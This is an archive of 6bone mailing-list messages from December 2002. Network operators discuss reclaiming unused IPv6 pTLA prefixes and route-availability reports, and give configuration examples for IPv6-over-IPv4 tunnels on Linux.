> > use to evaluate what is no longer in use.
>
>I was already collecting prefixes from the bgp dumps I got for the
>Ghost Route Hunter* project. I'll grab the current pTLA list and
>make a report page for comparing availability per pTLA along with
>their origin AS. This also allows us to easily verify if the 6bone
>object for that prefix corresponds with the AS it originaties from.
>Ghost routes and misannouncements in there will also pop up :)
>
>Notez bien that Gert Doering probably has a much bigger archive
>due to his IPv6 routing overview's (www.space.net/~gert/RIPE/)
>And that the ASPath tool can also quite clearly show which TLA's
>can be found where.
>
>The RISv6 tool unfortunatly only carries BGP entries from native peers.
>So most parts of the 6bone space are probably not visible there. RIS is
>more extensive than any other routing project though
>and they keep histories and other relevant information like updates.
>So it could proof very usefull if many ISP's hook up with it.
>
>8<----------------
>Found 19743 no, 0 short, 21 long ghosts.
>Longest: 31
>Prefixes: 436
>--------------->8
>The prefixes there also hold /48's and others which are localy
>visible, but I'll filter those out for the pTLA list ofcourse.
>The first line shows ASpaths btw. Doing a rough calculation
>this would mean I got 45 paths for every prefix. Skimming through
>it quickly reveals that most TLA's have about 65 paths available.
>Spread over 9 BGP feeds, more are always welcome ofcourse.
>
> > I am starting to request pTLA holders that I become aware are
> > obviously not
> > using their pTLA for longer periods of time (months) to give
> > back their
> > pTLA and reapply for a new one if they want another in the
> > future (i.e.,
> > not just hold on until they change their plans).
> >
> > Sounds like 3FFE:3400::/24 is a strong candidate to be
> > reclaimed. I will
> > post an intent to reclaim this pTLA with a two week notice.
>
>Reclaiming is good. This will limit problems and we will be able
>to identify them much better. But the availability of an AS
>doesn't have to mean that the prefixes are available.
>DIGITAL-CA for example _was_ only available to the 'old' prefixes.
>eg 3ffe:3000::/24 (AMS-IX) could reach it, or better said they
>knew where to find AMS-IX, but they didn't knew the way back to RIR
>space. This can be seen in the https://www.sixxs.net/misc/latency/
>graphs looking at the host.ipv6.pa-x.dec.com router.
>But apparently it started pinging for Cybernet, Concepts and Intouch
>now... so the upgrade worked out as they told me when I queried them.
>
>Also IMHO 6bone should move to the RIR's ASAP.
>(RIR space are paying people, no free transit -> better stability
>blablabla, see those other threads :)
>
>Awareness is a good thing.
>
>Greets,
>  Jeroen
>
>* = https://www.sixxs.net/tools/grh/
>
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone


From fink@es.net Wed Dec  4 08:57:39 2002
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6bone Folk,

The pTLA 3FFE:1E00::/24 has been returned voluntarily to the 6bone address 
pool by Martin Gysi of SWISSCOM. This pTLA had not been used in quite a 
while and although Swisscom may soon require another pTLA, they will 
reapply for a /32 when they are ready to do so.

Thanks to Martin and Swisscom for voluntarily doing this.

I will take Paul Aitken's suggestion and return this to the bottom of the 
pool so new pTLA allocations will not use it ever (or at least for quite a 
while) to avoid possible filter problems. Note that this is a /24, and thus 
is already in a pool that no new allocations are coming from.


Thanks,

Bob


From sb@rdns.de Wed Dec  4 10:12:55 2002
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Dear Bob Fink,

> I will take Paul Aitken's suggestion and return this to the bottom of the
> pool so new pTLA allocations will not use it ever (or at least for quite a 
> while) to avoid possible filter problems. Note that this is a /24, and thus 
> is already in a pool that no new allocations are coming from.

maybe we should recycle that /24 in some months. maybe a _big_
provider can use a /24 in some time (i talk about a _big_ provider,
nothing like a small ISP). we should not waste that space.

just my 2 euro-cents :)
sb

-- 
best regards,
Sascha Bielski                            mailto:sb@rdns.de
xs26.net German Coordination
phone: +49 (0) 174 / 432 93 76
email: sb@rdns.de


From jeroen@unfix.org Wed Dec  4 11:05:37 2002
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Gert Doering [mailto:gert@space.net] wrote:

> Hi,
> 
> On Tue, Dec 03, 2002 at 02:06:41PM +0100, Jeroen Massar wrote:
> > In the mean time there have been a couple of odd ones popping in and
> > out, from the current report (2002-12-03 13:50)
> > 8<-----------
> > The following routes are currently ghosted and thus are not 
> reachable
> > from many places on the internet.
> > - 2001:270::/35 - 1 ghosted paths 
> > - 3ffe:1400::/24 - 24 ghosted paths 
> > - 3ffe:1e00::/24 - 10 ghosted paths 
> > - 3ffe:400c::/32 - 1 ghosted paths 
> > - 3ffe:400d::/32 - 15 ghosted paths 
> > ----------->8
> 
> See my last comment - "spurious ghosts" are very likely to be normal
> BGP withdrawal symptoms.

Indeed. The good point is that we see them and can now track how
much time it takes for them to go away again. Maybe we can spot
which systems cause the huge amount of delay taken.

Hmmmmm I don't see any ghosts any more... :)

Greets,
 Jeroen


From gert@Space.Net Wed Dec  4 11:23:16 2002
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hi,

On Wed, Dec 04, 2002 at 08:06:17PM +0100, Jeroen Massar wrote:
> Hmmmmm I don't see any ghosts any more... :)

So you've already succeeded :-) - good news.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  54136  (50279)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From pekkas@netcore.fi Wed Dec  4 12:07:43 2002
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From: Pekka Savola <pekkas@netcore.fi>
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Subject: Re: [6bone] pTLA 3FFE:1E00::/24 reclaimed to pool
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On Wed, 4 Dec 2002, Sascha Bielski wrote:
> > I will take Paul Aitken's suggestion and return this to the bottom of the
> > pool so new pTLA allocations will not use it ever (or at least for quite a 
> > while) to avoid possible filter problems. Note that this is a /24, and thus 
> > is already in a pool that no new allocations are coming from.
> 
> maybe we should recycle that /24 in some months. maybe a _big_
> provider can use a /24 in some time (i talk about a _big_ provider,
> nothing like a small ISP). we should not waste that space.

IMO, it's a useless effort.

_big_ providers are not categorically interested in 6bone space.

Better not try to whip the dead (dying) horse, it has already lost
usefulnesss.  Better to just try to ensure it can die without pain :-)

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From bmanning@ISI.EDU Wed Dec  4 12:27:50 2002
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Subject: Re: [6bone] 3ffe:3400::/24 / IPF/DE
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% Pim,
% 
% I agree that if a pTLA is unused for some period of time should be returned 
% to the pool. What the exact wording and length of out of service time 
% should be, I haven't formed an exact opinion on yet.
% 
% Sounds like 3FFE:3400::/24 is a strong candidate to be reclaimed. I will 
% post an intent to reclaim this pTLA with a two week notice.
% 
% Thanks,
% Bob
% _______________________________________________

	perhaps, given that 3ffe:: looks like it may be transitioned
	to RIR mgmt, that the "fallow" period may be best tagged
	in years.  My suggestion is at least -5-.

	wrt followup on delegations, a quarterly audit of the
	the delegations via DNS registrations is done. there are
	-many- dead delegations as seen from that perspective.


-- 
--bill

Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).


From fink@es.net Wed Dec  4 17:11:14 2002
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Bill,

At 12:27 PM 12/4/2002 -0800, Bill Manning wrote:
>% Pim,
>%
>% I agree that if a pTLA is unused for some period of time should be returned
>% to the pool. What the exact wording and length of out of service time
>% should be, I haven't formed an exact opinion on yet.
>%
>% Sounds like 3FFE:3400::/24 is a strong candidate to be reclaimed. I will
>% post an intent to reclaim this pTLA with a two week notice.
>%
>% Thanks,
>% Bob
>% _______________________________________________
>
>         perhaps, given that 3ffe:: looks like it may be transitioned
>         to RIR mgmt, that the "fallow" period may be best tagged
>         in years.  My suggestion is at least -5-.

The RIRs still expect the 6bone community to manage the allocation process.


>         wrt followup on delegations, a quarterly audit of the
>         the delegations via DNS registrations is done. there are
>         -many- dead delegations as seen from that perspective.

Can you share the audit?


Thanks,

Bob


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Sascha,

At 07:12 PM 12/4/2002 +0100, Sascha Bielski wrote:
>Dear Bob Fink,
>
> > I will take Paul Aitken's suggestion and return this to the bottom of the
> > pool so new pTLA allocations will not use it ever (or at least for quite a
> > while) to avoid possible filter problems. Note that this is a /24, and 
> thus
> > is already in a pool that no new allocations are coming from.
>
>maybe we should recycle that /24 in some months. maybe a _big_
>provider can use a /24 in some time (i talk about a _big_ provider,
>nothing like a small ISP). we should not waste that space.

At this time there is almost no likelihood that any ISP could qualify for a 
/24 pTLA. We are now allocating /32's to be inline with RIR /32 policy.

Any really large ISP with a deployment plan sufficient to justify a /24 
should be talking to the RIRs, not the 6bone.


Thanks,

Bob


From jeroen@unfix.org Wed Dec  4 19:12:20 2002
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Subject: RE: [6bone] 3ffe:3400::/24 / IPF/DE
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Bob Fink wrote:

> Jeroen,
> 
> Thanks for your help on this.

As promised, a big list of 6bone availability statistics:

https://www.sixxs.net/tools/grh/tla/6bone/

It lists all the 6bone prefixes, marking them red if they where not
available for the last 24 hours.

"Currently 14 pTLA's didn't have a routing entry for their TLA".

I've also included a "pTLA's per country" listing showing
the US at the top with 33 pTLA's
Are the US organisations holding on to their 6bone space instead
of requesting RIR space from ARIN ?

And yes I like flags so I've included those again :)

Greets,
 Jeroen


From fink@es.net Wed Dec  4 22:22:48 2002
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Jeroen,

Nice work. Thanks again.

I will start a process of notifying the contacts of intent to reclaim, or 
post an open notice if I can't get a response.

I will also put a link on the 6bone page to your tool so all can see these 
regularly.


Bob

===
At 04:13 AM 12/5/2002 +0100, Jeroen Massar wrote:
>Bob Fink wrote:
>
> > Jeroen,
> >
> > Thanks for your help on this.
>
>As promised, a big list of 6bone availability statistics:
>
>https://www.sixxs.net/tools/grh/tla/6bone/
>
>It lists all the 6bone prefixes, marking them red if they where not
>available for the last 24 hours.
>
>"Currently 14 pTLA's didn't have a routing entry for their TLA".
>
>I've also included a "pTLA's per country" listing showing
>the US at the top with 33 pTLA's
>Are the US organisations holding on to their 6bone space instead
>of requesting RIR space from ARIN ?
>
>And yes I like flags so I've included those again :)
>
>Greets,
>  Jeroen


From ako@shekinah.ip.tiscali.net Wed Dec  4 23:13:06 2002
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Subject: Re: [6bone] free transit
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Hi Hans, Gert,

on this subject I had a discussion with someone being
present at some random exchange in Europe doing IPv6.
It came down to me writing to him to 'consider twice if you
really want to receive a full table from anyone except XXX
and YYY on that exchange' because of the dreading tunnels
while other people have these connections natively on their
backbone.

Tiscali is only doing peering for that reason, if not agreed
otherwise. We have it set up exactly like IPv4, communities
tagging for outbound and max-prefix on the incoming site.

Regards,
Alexander

-- 
Alexander Koch <koch@tiscali.net> / ako4-ripe
Network Engineer, Tiscali International Network
Robert-Bosch-Strasse 32, D-63303 Dreieich, Germany
Phone +49 6103 916 480, Fax +49 6103 916 464

From cesar.olvera@consulintel.es Thu Dec  5 06:23:05 2002
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Subject: Euro6IX prefix announce  Re: [6bone] AS45333 (<-- reserved!) announcing 3ffe:400f::/32
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Hello all,

We're announcing Euro6IX prefix using TILAB AS Number AS5609...

Thanks to Raffaele D'Albenzio from TILAB.

Best Regards,

César Olvera
Consulintel


***********************************
Madrid 2003 Global IPv6 Summit
12-14 May 2003 - Soon on line at:
http://www.ipv6-es.com
Interested in participating or sponsoring ?
Contact us at ipv6@consulintel.es



From jeroen@unfix.org Thu Dec  5 08:59:15 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Gert Doering'" <gert@space.net>
Cc: <6bone@ISI.EDU>
Subject: RE: [6bone] Re: Ghost Route Hunter
Date: Thu, 5 Dec 2002 17:59:58 +0100
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Gert Doering wrote:

> hi,
> 
> On Wed, Dec 04, 2002 at 08:06:17PM +0100, Jeroen Massar wrote:
> > Hmmmmm I don't see any ghosts any more... :)
> 
> So you've already succeeded :-) - good news.

Unfortunatly some came back again :(

Anyways... I've now also fixed up the TLA availability to support the
other RIR's.
Check http://www.sixxs.net/tools/grh/tla/ for a nice overview (with
flags :)

The US count can be a bit off as I couldn't easily find out which
country every
prefix belonged to.

Note also, like said at the top, that if one announces a /35 but one is
actually
assigned a /32 this will turn up red in these stats.

Greets & Happy Sinterklaas,
 Jeroen


From steger@falco.inode.at Sun Dec  8 02:16:51 2002
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From: Christian Steger <christian.steger@hm.inode.at>
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Subject: [6bone] 6to4 tunnel request? - where shall i get connected?
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hi to the ipng community :)

we are an isp in at and would like to establish an 4to6 tunnel.
courrently we have en v6 native link to sume isps in vienna; so i am
kindly ask where should i get connected, and who is carry such 4to6
tunnles, i know 6bone does, but where shall i get connected to ?

any ideas ? - thanks for any answers.

btw: we have our own sTLA recveived from our RIR (RIPE-NCC 2001:9f8::/32)

kind regards

christian steger

p.s.: i did already the procedere for the 6bone whois database.


From nicolas.deffayet@ndsoftware.net Sun Dec  8 08:12:08 2002
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Subject: Re: [6bone] 6to4 tunnel request? - where shall i get connected?
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Christian Steger <christian.steger@hm.inode.at>
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On Sun, 2002-12-08 at 12:24, Christian Steger wrote:
Hi Christian,

> we are an isp in at and would like to establish an 4to6 tunnel.

4to6 tunnel ?
Do you mean an IPv6 over IPv4 tunnel ?

> courrently we have en v6 native link to sume isps in vienna; so i am
> kindly ask where should i get connected, and who is carry such 4to6
> tunnles, i know 6bone does, but where shall i get connected to ?
> 
> any ideas ? - thanks for any answers.
> 
> btw: we have our own sTLA recveived from our RIR (RIPE-NCC 2001:9f8::/32)

We can peer if the IPv6 over IPv4 tunnel have less than 50ms of latency.

Best Regards,

-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/
Network administrator channel: #nocpeople @ IRCnet


From jeanthery@olympus-zone.net Sun Dec  8 09:00:10 2002
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Subject: Re: [6bone] 6to4 tunnel request? - where shall i get connected?
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Nicolas DEFFAYET wrote:
> On Sun, 2002-12-08 at 12:24, Christian Steger wrote:
> Hi Christian,
>
>> we are an isp in at and would like to establish an 4to6 tunnel.
>
> 4to6 tunnel ?
> Do you mean an IPv6 over IPv4 tunnel ?
>
>> courrently we have en v6 native link to sume isps in vienna; so i am
>> kindly ask where should i get connected, and who is carry such 4to6
>> tunnles, i know 6bone does, but where shall i get connected to ?
>>
>> any ideas ? - thanks for any answers.
>>
>> btw: we have our own sTLA recveived from our RIR (RIPE-NCC
>> 2001:9f8::/32)
>
> We can peer if the IPv6 over IPv4 tunnel have less than 50ms of
> latency.
>
> Best Regards,

He want to say IPv4 transport Over IPv6 tunnel (on IPv6 native link).

Cordially,

Jean Théry
Administration Réseaux & Systèmes
jeanthery@olympus-zone.net

Olympus-Zone
www.olympus-zone.net


From steger@falco.inode.at Sun Dec  8 09:01:41 2002
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> On Sun, 2002-12-08 at 12:24, Christian Steger wrote:
> Hi Christian,
> 
> > we are an isp in at and would like to establish an 4to6 tunnel.
> 
> 4to6 tunnel ?
> Do you mean an IPv6 over IPv4 tunnel ?
> 
> > courrently we have en v6 native link to sume isps in vienna; so i am
> > kindly ask where should i get connected, and who is carry such 4to6
> > tunnles, i know 6bone does, but where shall i get connected to ?
> > 
> > any ideas ? - thanks for any answers.
> > 
> > btw: we have our own sTLA recveived from our RIR (RIPE-NCC 2001:9f8::/32)
> 
> We can peer if the IPv6 over IPv4 tunnel have less than 50ms of latency.

sure, sorry ment of course ment ipv6 over ipv4.

sorry for the mess :)

chris

> 
> -- 
> Nicolas DEFFAYET, NDSoftware
> NOC Website: http://noc.ndsoftwarenet.com/
> FNIX6: http://www.fnix6.net/
> Network administrator channel: #nocpeople @ IRCnet
> 


From gert@Space.Net Sun Dec  8 10:02:45 2002
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From: Gert Doering <gert@space.net>
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Hi,

On Sun, Dec 08, 2002 at 12:24:27PM +0100, Christian Steger wrote:
> hi to the ipng community :)
> 
> we are an isp in at and would like to establish an 4to6 tunnel.
> courrently we have en v6 native link to sume isps in vienna; so i am
> kindly ask where should i get connected, and who is carry such 4to6
> tunnles, i know 6bone does, but where shall i get connected to ?
> 
> any ideas ? - thanks for any answers.
> 
> btw: we have our own sTLA recveived from our RIR (RIPE-NCC 2001:9f8::/32)

A good approach would be to do native peerings at the DECIX, and maybe
even get native upstream there...

Don't build too many tunnels, they hurt routing in the long run.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  54255  (54136)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From zgchen@psl.com.sg Mon Dec  9 06:04:49 2002
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From: "Chen Zhigao" <zgchen@psl.com.sg>
To: <6bone@mailman.isi.edu>
Date: Mon, 9 Dec 2002 22:04:30 +0800
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Subject: [6bone] Two IPv6 Hosts Communicating over IPv4 network
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Dear all,

I would like to have two hosts, which run IPv6 application on Linux,
communicate each other across a commercial network. But there is no IPv6
support in the commercial network.

I guess IPv6/ICMPv6 packets must be converted to IPv4/ICMPv4 packets in host
b4 they enter the IPv4 network. Likewise, IPv4/ICMPv4 shall be converted
back to IPv6/ICMPv6 once they reach the destination IPv6 host. What I want
is a IPv6 over IPv4 tunneling. I have a few questions as follows.

1) Has such work been implemented in Linux or other OS?
2) If no, which RFC or draft addressing this issue?
3) Does my scenario need to connect to 6bone, since only two IPv6 hosts are
involved?
4) Anything else need to be done apart from conversion of IP/ICMP?

Any suggestion and comment are highly appreciated.

Best regards,
Zhigao


From bortzmeyer@nic.fr Mon Dec  9 06:25:09 2002
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From: Stephane Bortzmeyer <bortzmeyer@gitoyen.net>
To: Chen Zhigao <zgchen@psl.com.sg>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] Two IPv6 Hosts Communicating over IPv4 network
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On Mon, Dec 09, 2002 at 10:04:30PM +0800,
 Chen Zhigao <zgchen@psl.com.sg> wrote 
 a message of 26 lines which said:

> I guess IPv6/ICMPv6 packets must be converted to IPv4/ICMPv4 packets 

No: too complicated to do it in the kernel, semantics too different,
too many things can go wrong.

> What I want is a IPv6 over IPv4 tunneling. 

Yes. Just set up a tunnel.

> 1) Has such work been implemented in Linux or other OS?

Yes. On each side (the syntax is Debian, YMMV):

auto tun1
iface tun1 inet6 v4tunnel
   endpoint 213.248.x.y
   address 2001:6c0:x:y:z
   netmask 127
   # Not mandatory but could be useful (BGP...) Use traceroute to see
   # the length of the tunnel (9 in my case)
   up ip tunnel change tun1 ttl 9

> 3) Does my scenario need to connect to 6bone, since only two IPv6 hosts are
> involved?

No.

> 4) Anything else need to be done apart from conversion of IP/ICMP?

Do not do it. Just tunnel IPv6 over IPv4.

> Any suggestion and comment are highly appreciated.

Check the firewall, too: you need to authorize protocol 41 (IPv6 into
IPv4).

From pasky@machine.sinus.cz Mon Dec  9 12:10:21 2002
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From: Petr Baudis <pasky@xs26.net>
To: Stephane Bortzmeyer <bortzmeyer@gitoyen.net>
Cc: Chen Zhigao <zgchen@psl.com.sg>, 6bone@mailman.isi.edu
Subject: Re: [6bone] Two IPv6 Hosts Communicating over IPv4 network
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Dear diary, on Mon, Dec 09, 2002 at 03:25:05PM CET, I got a letter,
where Stephane Bortzmeyer <bortzmeyer@gitoyen.net> told me, that...
> On Mon, Dec 09, 2002 at 10:04:30PM +0800,
>  Chen Zhigao <zgchen@psl.com.sg> wrote 
>  a message of 26 lines which said:
> 
> > I guess IPv6/ICMPv6 packets must be converted to IPv4/ICMPv4 packets 
> 
> No: too complicated to do it in the kernel, semantics too different,
> too many things can go wrong.
> 
> > What I want is a IPv6 over IPv4 tunneling. 
> 
> Yes. Just set up a tunnel.

In fact, the tunnel does nothing more than that "conversion" - but to avoid any
confusion, what in fact happens is that the IPv6/ICMPv6 packet is just verbatim
inserted into IPv4 packet (with protocol 41, as also mentioned below) and took
from the IPv4 packet on the other side.

> > 1) Has such work been implemented in Linux or other OS?
> 
> Yes. On each side (the syntax is Debian, YMMV):
> 
> auto tun1
> iface tun1 inet6 v4tunnel
>    endpoint 213.248.x.y
>    address 2001:6c0:x:y:z
>    netmask 127
>    # Not mandatory but could be useful (BGP...) Use traceroute to see
>    # the length of the tunnel (9 in my case)
>    up ip tunnel change tun1 ttl 9

If you want just Linux commands:

iptunnel add mytunnel mode sit local <side1 ipv4 addr> remote <side2 ipv4 addr> ttl 64
ifconfig mytunnel up

Then, you run the similiar command on the other side (just swapped local and
remote addresses), you will maybe want to assign some addresses to the
interfaces (altough if they are only two IPv6 hosts separated from 6bone, you
may have trouble with choosing an appropriate global address - so you well may
just stay with the link local addresses, which are assigned to the interfaces
automatically when you set them up - you can use them only when you communicate
through that one tunnel, though)...

Kind regards,

-- 
 
				Petr "Pasky" Baudis
.
> I don't know why people still want ACL's. There were noises about them for
> samba, but I'v enot heard anything since. Are vendors using this?
Because People Are Stupid(tm).  Because it's cheaper to put "ACL support: yes"
in the feature list under "Security" than to make sure than userland can cope
with anything more complex than  "Me Og.  Og see directory.  Directory Og's.
Nobody change it".  C.f. snake oil, P.T.Barnum and esp. LSM users
        -- Al Viro
.
Crap: http://pasky.ji.cz/

From tlangdon@atctraining.com.au Mon Dec  9 13:17:50 2002
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From: Tony Langdon <tlangdon@atctraining.com.au>
To: "'Stephane Bortzmeyer'" <bortzmeyer@gitoyen.net>,
   Chen Zhigao
	 <zgchen@psl.com.sg>
Cc: 6bone@mailman.isi.edu
Subject: RE: [6bone] Two IPv6 Hosts Communicating over IPv4 network
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> > What I want is a IPv6 over IPv4 tunneling. 
> 
> Yes. Just set up a tunnel.

I agree.  I've got this Win2k machine connected to the rest of the IPv6
network here through a tunnel.  Works fine
> 
> > 1) Has such work been implemented in Linux or other OS?
> 
> Yes. On each side (the syntax is Debian, YMMV):
> 
> auto tun1
> iface tun1 inet6 v4tunnel
>    endpoint 213.248.x.y
>    address 2001:6c0:x:y:z
>    netmask 127
>    # Not mandatory but could be useful (BGP...) Use traceroute to see
>    # the length of the tunnel (9 in my case)
>    up ip tunnel change tun1 ttl 9

And the ifcfg-sit1 file for a Red Hat 7.3 box (again, for an internal tunnel
to my laptop).

[root@gw5 network-scripts]# cat ifcfg-sit1
DEVICE=sit1
BOOTPROTO=none
ONBOOT=yes
IPV6INIT=yes
IPV6TUNNELIPV4=192.168.6.201
IPV6ADDR=3ffe:b80:cb1:69::1/64

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From zgchen@psl.com.sg Tue Dec 10 05:05:06 2002
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From: "Chen Zhigao" <zgchen@psl.com.sg>
To: "Stephane Bortzmeyer" <bortzmeyer@gitoyen.net>, <pasky@xs26.net>
Cc: <6bone@mailman.isi.edu>
Subject: RE: [6bone] Two IPv6 Hosts Communicating over IPv4 network
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Thanks for all of ur advice. Because our network is behind a NAT server, the
two IPv6 hosts might not be assigned global IPv4 addresses so as to act as
tunnel endpoints. Someone told me the Teredo protocol can tunnel IPv6 over
UDP through NAT. So I get some new questions. Hope to hear from you.

1) Is there any Teredo implementation available for Linux?
2) How would it affect the normal 6-over-4 tunneling? Any different
configuration?
3) With 6-over-4 tunneling, IPv4 router, especially the subnet router, and
IPv6 host can not interpret each other's ICMP packets, e.g. router
solicitation/advertisement. Guess I shall implement a module to convert
ICMPv4 and ICMPv6. Am I correct?

Look forward to your reply and suggestion. Many thanks.

Zhigao


-----Original Message-----
From: 6bone-admin@mailman.isi.edu [mailto:6bone-admin@mailman.isi.edu]On
Behalf Of Stephane Bortzmeyer
Sent: Monday, December 09, 2002 10:25 PM
To: Chen Zhigao
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] Two IPv6 Hosts Communicating over IPv4 network


On Mon, Dec 09, 2002 at 10:04:30PM +0800,
 Chen Zhigao <zgchen@psl.com.sg> wrote
 a message of 26 lines which said:

> I guess IPv6/ICMPv6 packets must be converted to IPv4/ICMPv4 packets

No: too complicated to do it in the kernel, semantics too different,
too many things can go wrong.

> What I want is a IPv6 over IPv4 tunneling.

Yes. Just set up a tunnel.

> 1) Has such work been implemented in Linux or other OS?

Yes. On each side (the syntax is Debian, YMMV):

auto tun1
iface tun1 inet6 v4tunnel
   endpoint 213.248.x.y
   address 2001:6c0:x:y:z
   netmask 127
   # Not mandatory but could be useful (BGP...) Use traceroute to see
   # the length of the tunnel (9 in my case)
   up ip tunnel change tun1 ttl 9

> 3) Does my scenario need to connect to 6bone, since only two IPv6 hosts
are
> involved?

No.

> 4) Anything else need to be done apart from conversion of IP/ICMP?

Do not do it. Just tunnel IPv6 over IPv4.

> Any suggestion and comment are highly appreciated.

Check the firewall, too: you need to authorize protocol 41 (IPv6 into
IPv4).
_______________________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone



From raffaele.dalbenzio@tilab.com Tue Dec 10 05:42:34 2002
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From: "Raffaele D'Albenzio" <raffaele.dalbenzio@tilab.com>
To: <6bone@ISI.EDU>
Date: Tue, 10 Dec 2002 14:41:08 +0100
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Subject: [6bone] New version of ASPath-tree (4.1) available on-line
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Hello everybody,

we released a new version of ASPath-tree (v4.1) that fixes some 
bugs we found on the new major release 4.0.

The changes are:
- Fixed  few bugs since v.4.0. 
- AS confederations supported properly.
- Added support for zebra versions 093x.
- Users experiencing damped or historical route entries 
  strongly recommended to upgrade.

It is available at 
http://carmen.ipv6.tilab.com/cgi-bin/download.pl?pkg=ASpath-tree

Regards,
Raffaele D'Albenzio.



From Ron.Barker@v-pe.de Tue Dec 10 08:18:27 2002
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Has any one had in experience with using .NET as a Router.  We are =
haveing a rough time!  The set up consist of a CISCO 2500 advertising a =
sub net prefix.  There are two routers attached to the et0
interface, one is a netbsdsand one is a .NET.  Each router subsequently =
advertises subnets to other host.

The problem is that the nedbsd + any host on the subnet ( i.e., either a =
UNIX or .NET/XP ) behaves as expected.  The host receives a prefix and =
default route from the router.  However, the .NET / XP
used a router behaves in a totally different manner. =20

1. The .NET router receives the prefix and default route from the CISCO =
as expected, same as netbsd.
2. The .NET router does not provide the host on the next subnet with a =
default route, only a prefix.
3. The .NET + Host do not send RIP info hence the CISCO router has no =
route info.
4.  Adding a static route does not seem to help

Any ideas.

Thanks
Ron







Dr. Ronald D. Barker
Vodafone Pilotentwicklung GmbH
Chiemgaustr. 116
D-81549 Munich
Germany
Fon +49 (89) 95 410 -0
Fax +49 (89) 95 410 -111
www.v-pe.de



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charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
6.0.6249.1">
<TITLE>.NET and ripng</TITLE>
</HEAD>
<BODY>
<!-- Converted from text/rtf format -->
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">Has any one had in experience with =
using .NET as a Router.&nbsp; We are haveing a rough time!&nbsp; The set =
up consist of a CISCO 2500 advertising a sub net prefix.&nbsp; There are =
two routers attached to the et0 interface, one is a netbsdsand one is a =
.NET.&nbsp; Each router subsequently advertises subnets to other =
host.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">The problem is that the nedbsd + any =
host on the subnet ( i.e., either a UNIX or .NET/XP ) behaves as =
expected.&nbsp; The host receives a prefix and default route from the =
router.&nbsp; However, the .NET / XP used a router behaves in a totally =
different manner.&nbsp; </FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">1. The .NET router receives the prefix =
and default route from the CISCO as expected, same as netbsd.</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">2. The .NET router does not provide =
the host on the next subnet with a default route, only a prefix.</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">3. The .NET + Host do not send RIP =
info hence the CISCO router has no route info.</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">4.&nbsp; Adding a static route does =
not seem to help</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Any ideas.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Thanks</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">Ron</FONT>
</P>
<BR>
<BR>
<BR>
<BR>
<BR>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">Dr. Ronald D. Barker</FONT>

<BR><FONT SIZE=3D1 FACE=3D"Arial">Vodafone Pilotentwicklung GmbH</FONT>

<BR><FONT SIZE=3D1 FACE=3D"Arial">Chiemgaustr. 116</FONT>

<BR><FONT SIZE=3D1 FACE=3D"Arial">D-81549 Munich</FONT>

<BR><FONT SIZE=3D1 FACE=3D"Arial">Germany</FONT>

<BR><FONT SIZE=3D1 FACE=3D"Arial">Fon +49 (89) 95 410 -0</FONT>

<BR><FONT SIZE=3D1 FACE=3D"Arial">Fax +49 (89) 95 410 -111</FONT>

<BR><FONT COLOR=3D"#FF0000" SIZE=3D1 FACE=3D"Arial">www.v-pe.de</FONT>
</P>
<BR>

</BODY>
</HTML>
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From jeroen@unfix.org Tue Dec 10 09:31:48 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Barker, Ron, vpe'" <Ron.Barker@v-pe.de>, <6bone@ISI.EDU>
Subject: RE: [6bone] .NET and ripng
Date: Tue, 10 Dec 2002 18:32:35 +0100
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Barker, Ron, vpe wrote:

> Has any one had in experience with using .NET as a Router.  
> We are haveing a rough time!  The set up consist of a CISCO 
> 2500 advertising a sub net prefix.  There are two routers 
> attached to the et0 interface, one is a netbsdsand one is a 
> .NET.  Each router subsequently advertises subnets to other host.
> 
> The problem is that the nedbsd + any host on the subnet ( 
> i.e., either a UNIX or .NET/XP ) behaves as expected.  The 
> host receives a prefix and default route from the router.  
> However, the .NET / XP used a router behaves in a totally 
> different manner.  

What is it a .NET or a XP box?
Also .NET is still a beta thing.
Thinking of that you should prolly contact ipv6-fb@microsoft.com about
these issues ;)
Just the same when blattering about cisco here but not mailing
ipv6-support@cisco.com

> 1. The .NET router receives the prefix and default route from 
> the CISCO as expected, same as netbsd. 
> 2. The .NET router does not provide the host on the next 
> subnet with a default route, only a prefix. 
> 3. The .NET + Host do not send RIP info hence the CISCO 
> router has no route info. 
> 4.  Adding a static route does not seem to help 

You might play a real doctor and read the docs and enable forwarding ;)

Greets,
 Jeroen


From tlangdon@atctraining.com.au Tue Dec 10 13:37:09 2002
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From: Tony Langdon <tlangdon@atctraining.com.au>
To: "'Chen Zhigao'" <zgchen@psl.com.sg>,
   Stephane Bortzmeyer
	 <bortzmeyer@gitoyen.net>, pasky@xs26.net
Cc: 6bone@mailman.isi.edu
Subject: RE: [6bone] Two IPv6 Hosts Communicating over IPv4 network
